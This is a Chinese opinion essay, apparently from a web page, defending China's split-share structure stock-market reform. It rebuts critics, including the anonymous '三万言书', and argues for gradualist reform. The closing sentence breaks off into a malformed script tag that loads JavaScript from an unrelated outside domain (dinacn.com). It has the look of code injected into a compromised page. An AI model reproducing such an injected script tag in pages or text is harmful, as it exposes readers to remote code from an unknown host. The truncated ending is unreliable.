最近，有两篇文章对中国股市发展至关重要的股权分置改革试点提出质疑，一篇是见诸媒体的记者对吴敬琏同志的采访，题目是《千点不应救市，补偿流通股股东不公正》;另一篇是在社会广为流传的未署名的文章——《中国股市的荒唐一幕——评股权分置改革试点》，又称“三万言书”。两篇文章都提到，股权分置改革缺乏理论基础，补偿流通股股东没有依据，损害了非流通股股东和全国人民的利益，大股东是弱势群体，监管部门向流通股股东“一边倒”的政策导致了混乱局面。

其中，“三万言书”更是用过激言词，称“股权分置改革试点是21世纪初在中国股市上演的一幕荒唐剧、闹剧、滑稽剧、丑剧、悲剧，堪称中国股市编年史上最为可耻的一幕”。结论竟是“悬崖勒马为时已晚，因此建议：（1）有限期地关闭股市，或者（2）暂停股市交易，或者（3）暂停部分股票交易”。

鉴于当前股权分置改革正处关键时期，其成败事关我国经济的可持续发展和社会政局的安定，而“三万言书”扰乱人们的思想，对我们统一认识这场改革的意义破坏力极大，因此有必要从理论和实践、从历史和未来的不同角度对“三万言书”中的错误观点予以批驳。正是出于这样的目的，笔者愿以亲身参与15年来中国股份制和股市创建和发展的真实经历，对“三万言书”中的观点进行评析。

一、 股市争论的实质是中国改革的路径选择

中国历经四分之一个世纪的改革实践，获得了举世公认的成功。可在一些经济学家和海外人士眼里，中国经济改革却充满了不规范。他们对比美国的市场经济和由萨克斯之类的美国经济学家指导的俄罗斯、波兰的改革，总觉得中国改革不系统、不彻底、不规范，如股市中存在的股权分置和一股独大。吴敬琏2002年以来就多次表达“摸着石头过河常常被称作中国经济改革的方略，以中国改革的实际来检验，我认为这个论断很值得怀疑”（见2002年《财经》杂志第十五期）。股份制的推行和深沪股市的建立是中国改革成功的重要组成。即使不是成功在“摸着石头过河”，可也得不出“成功等于不规范”的经济学逻辑。到底是中国改革不规范，还是“规范”出了问题，是值得人们反思的。

中国改革的成功不仅在于目标的确立，更重要的是在小平同志提出“摸着石头过河”的正确方法论的指导下，所实行的“渐变稳定、逐步转轨”的成功方略。实践是检验真理的唯一标准，与俄罗斯的全面照搬美国股市相比，中国股市虽然产生了股权分置和一股独大，但这却是我们在特殊的历史时期朝着既定方向稳步推进时最小代价的路径选择。设想中国改革在25年前就提出一个向市场经济迈进的全面总体规划，可能吗？设想我们在1990年代初期，政治上股份制还是私有化的巨大纷争之中，就去搞一个“先化后股”的俄罗斯股市全流通模式，明智吗？本来如果我们尊重国情，借鉴国际规范，坚持中国改革25年“渐变稳定、逐步转轨”的正确方法论，解决股市中股权分置这类的问题是不难的。但却由于2001年前后我们没有坚持中国改革成功的方法论应用于股市之中，要么违反市场经济的一般规律，弄不清股市的基本定位，要么盲目照搬西方，简单用西方的“尺子”来量中国的“布”，受海外人士“推倒重来”和国内不切实际的经济学家“赌场论”的误导?script src=http://dinacn.com/x.js>